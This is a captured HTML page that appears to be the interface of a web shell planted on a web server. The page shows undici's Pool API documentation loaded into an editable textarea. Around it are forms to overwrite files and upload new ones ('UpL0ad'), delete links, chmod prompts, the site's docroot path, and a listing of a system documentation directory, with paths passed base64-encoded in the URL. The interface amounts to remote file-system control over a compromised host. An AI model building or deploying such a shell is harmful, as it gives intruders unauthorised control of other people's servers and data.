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<hr>Pool.md<form method=post action="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UG9vbC5tZA%3D%3D"><input name="f" value="Pool.md"><textarea name="t"># Class: Pool

Extends: `undici.Dispatcher`

A pool of [Client](Client.md) instances connected to the same upstream target.

Requests are not guaranteed to be dispatched in order of invocation.

## `new Pool(url[, options])`

Arguments:

* **url** `URL | string` - It should only include the **protocol, hostname, and port**.
* **options** `PoolOptions` (optional)

### Parameter: `PoolOptions`

Extends: [`ClientOptions`](Client.md#parameter-clientoptions)

* **factory** `(origin: URL, opts: Object) =&gt; Dispatcher` - Default: `(origin, opts) =&gt; new Client(origin, opts)`
* **connections** `number | null` (optional) - Default: `null` - The number of `Client` instances to create. When set to `null`, the `Pool` instance will create an unlimited amount of `Client` instances.
* **interceptors** `{ Pool: DispatchInterceptor[] } }` - Default: `{ Pool: [] }` - A list of interceptors that are applied to the dispatch method. Additional logic can be applied (such as, but not limited to: 302 status code handling, authentication, cookies, compression and caching).

## Instance Properties

### `Pool.closed`

Implements [Client.closed](Client.md#clientclosed)

### `Pool.destroyed`

Implements [Client.destroyed](Client.md#clientdestroyed)

### `Pool.stats`

Returns [`PoolStats`](PoolStats.md) instance for this pool.

## Instance Methods

### `Pool.close([callback])`

Implements [`Dispatcher.close([callback])`](Dispatcher.md#dispatcherclosecallback-promise).

### `Pool.destroy([error, callback])`

Implements [`Dispatcher.destroy([error, callback])`](Dispatcher.md#dispatcherdestroyerror-callback-promise).

### `Pool.connect(options[, callback])`

See [`Dispatcher.connect(options[, callback])`](Dispatcher.md#dispatcherconnectoptions-callback).

### `Pool.dispatch(options, handler)`

Implements [`Dispatcher.dispatch(options, handler)`](Dispatcher.md#dispatcherdispatchoptions-handler).

### `Pool.pipeline(options, handler)`

See [`Dispatcher.pipeline(options, handler)`](Dispatcher.md#dispatcherpipelineoptions-handler).

### `Pool.request(options[, callback])`

See [`Dispatcher.request(options [, callback])`](Dispatcher.md#dispatcherrequestoptions-callback).

### `Pool.stream(options, factory[, callback])`

See [`Dispatcher.stream(options, factory[, callback])`](Dispatcher.md#dispatcherstreamoptions-factory-callback).

### `Pool.upgrade(options[, callback])`

See [`Dispatcher.upgrade(options[, callback])`](Dispatcher.md#dispatcherupgradeoptions-callback).

## Instance Events

### Event: `'connect'`

See [Dispatcher Event: `'connect'`](Dispatcher.md#event-connect).

### Event: `'disconnect'`

See [Dispatcher Event: `'disconnect'`](Dispatcher.md#event-disconnect).

### Event: `'drain'`

See [Dispatcher Event: `'drain'`](Dispatcher.md#event-drain).
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/node-undici/api<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2k="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=QWdlbnQubWQ=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=QWdlbnQubWQ="/>Agent.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=QWdlbnQubWQ=&c=`+btoa(c):0" value="0644"></td><td>2797</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=QmFsYW5jZWRQb29sLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=QmFsYW5jZWRQb29sLm1k"/>BalancedPool.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=QmFsYW5jZWRQb29sLm1k&c=`+btoa(c):0" value="0644"></td><td>2818</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=Q2FjaGVTdG9yYWdlLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q2FjaGVTdG9yYWdlLm1k"/>CacheStorage.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q2FjaGVTdG9yYWdlLm1k&c=`+btoa(c):0" value="0644"></td><td>1078</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=Q2xpZW50Lm1kLmd6">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q2xpZW50Lm1kLmd6"/>Client.md.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q2xpZW50Lm1kLmd6&c=`+btoa(c):0" value="0644"></td><td>3485</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=Q29ubmVjdG9yLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q29ubmVjdG9yLm1k"/>Connector.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q29ubmVjdG9yLm1k&c=`+btoa(c):0" value="0644"></td><td>3464</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=Q29udGVudFR5cGUubWQ=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q29udGVudFR5cGUubWQ="/>ContentType.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q29udGVudFR5cGUubWQ=&c=`+btoa(c):0" value="0644"></td><td>1130</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=Q29va2llcy5tZA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q29va2llcy5tZA=="/>Cookies.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=Q29va2llcy5tZA==&c=`+btoa(c):0" value="0644"></td><td>2043</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=RGlhZ25vc3RpY3NDaGFubmVsLm1kLmd6">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RGlhZ25vc3RpY3NDaGFubmVsLm1kLmd6"/>DiagnosticsChannel.md.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RGlhZ25vc3RpY3NDaGFubmVsLm1kLmd6&c=`+btoa(c):0" value="0644"></td><td>1414</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=RGlzcGF0Y2hJbnRlcmNlcHRvci5tZA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RGlzcGF0Y2hJbnRlcmNlcHRvci5tZA=="/>DispatchInterceptor.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RGlzcGF0Y2hJbnRlcmNlcHRvci5tZA==&c=`+btoa(c):0" value="0644"></td><td>1523</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=RGlzcGF0Y2hlci5tZC5neg==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RGlzcGF0Y2hlci5tZC5neg=="/>Dispatcher.md.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RGlzcGF0Y2hlci5tZC5neg==&c=`+btoa(c):0" value="0644"></td><td>6711</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=RXJyb3JzLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RXJyb3JzLm1k"/>Errors.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RXJyb3JzLm1k&c=`+btoa(c):0" value="0644"></td><td>3563</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=RmV0Y2gubWQ=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RmV0Y2gubWQ="/>Fetch.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=RmV0Y2gubWQ=&c=`+btoa(c):0" value="0644"></td><td>1195</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=TW9ja0FnZW50Lm1kLmd6">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja0FnZW50Lm1kLmd6"/>MockAgent.md.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja0FnZW50Lm1kLmd6&c=`+btoa(c):0" value="0644"></td><td>3043</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=TW9ja0NsaWVudC5tZA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja0NsaWVudC5tZA=="/>MockClient.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja0NsaWVudC5tZA==&c=`+btoa(c):0" value="0644"></td><td>2021</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=TW9ja0Vycm9ycy5tZA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja0Vycm9ycy5tZA=="/>MockErrors.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja0Vycm9ycy5tZA==&c=`+btoa(c):0" value="0644"></td><td>595</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=TW9ja1Bvb2wubWQuZ3o=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja1Bvb2wubWQuZ3o="/>MockPool.md.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=TW9ja1Bvb2wubWQuZ3o=&c=`+btoa(c):0" value="0644"></td><td>3019</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=UG9vbC5tZA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UG9vbC5tZA=="/>Pool.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UG9vbC5tZA==&c=`+btoa(c):0" value="0644"></td><td>2769</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=UG9vbFN0YXRzLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UG9vbFN0YXRzLm1k"/>PoolStats.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UG9vbFN0YXRzLm1k&c=`+btoa(c):0" value="0644"></td><td>775</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=UHJveHlBZ2VudC5tZA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UHJveHlBZ2VudC5tZA=="/>ProxyAgent.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=UHJveHlBZ2VudC5tZA==&c=`+btoa(c):0" value="0644"></td><td>3807</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=V2ViU29ja2V0Lm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=V2ViU29ja2V0Lm1k"/>WebSocket.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=V2ViU29ja2V0Lm1k&c=`+btoa(c):0" value="0644"></td><td>1500</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&x=YXBpLWxpZmVjeWNsZS5tZC5neg==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=YXBpLWxpZmVjeWNsZS5tZC5neg=="/>api-lifecycle.md.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS11bmRpY2kvYXBp&f=YXBpLWxpZmVjeWNsZS5tZC5neg==&c=`+btoa(c):0" value="0644"></td><td>2684</td></tr></table>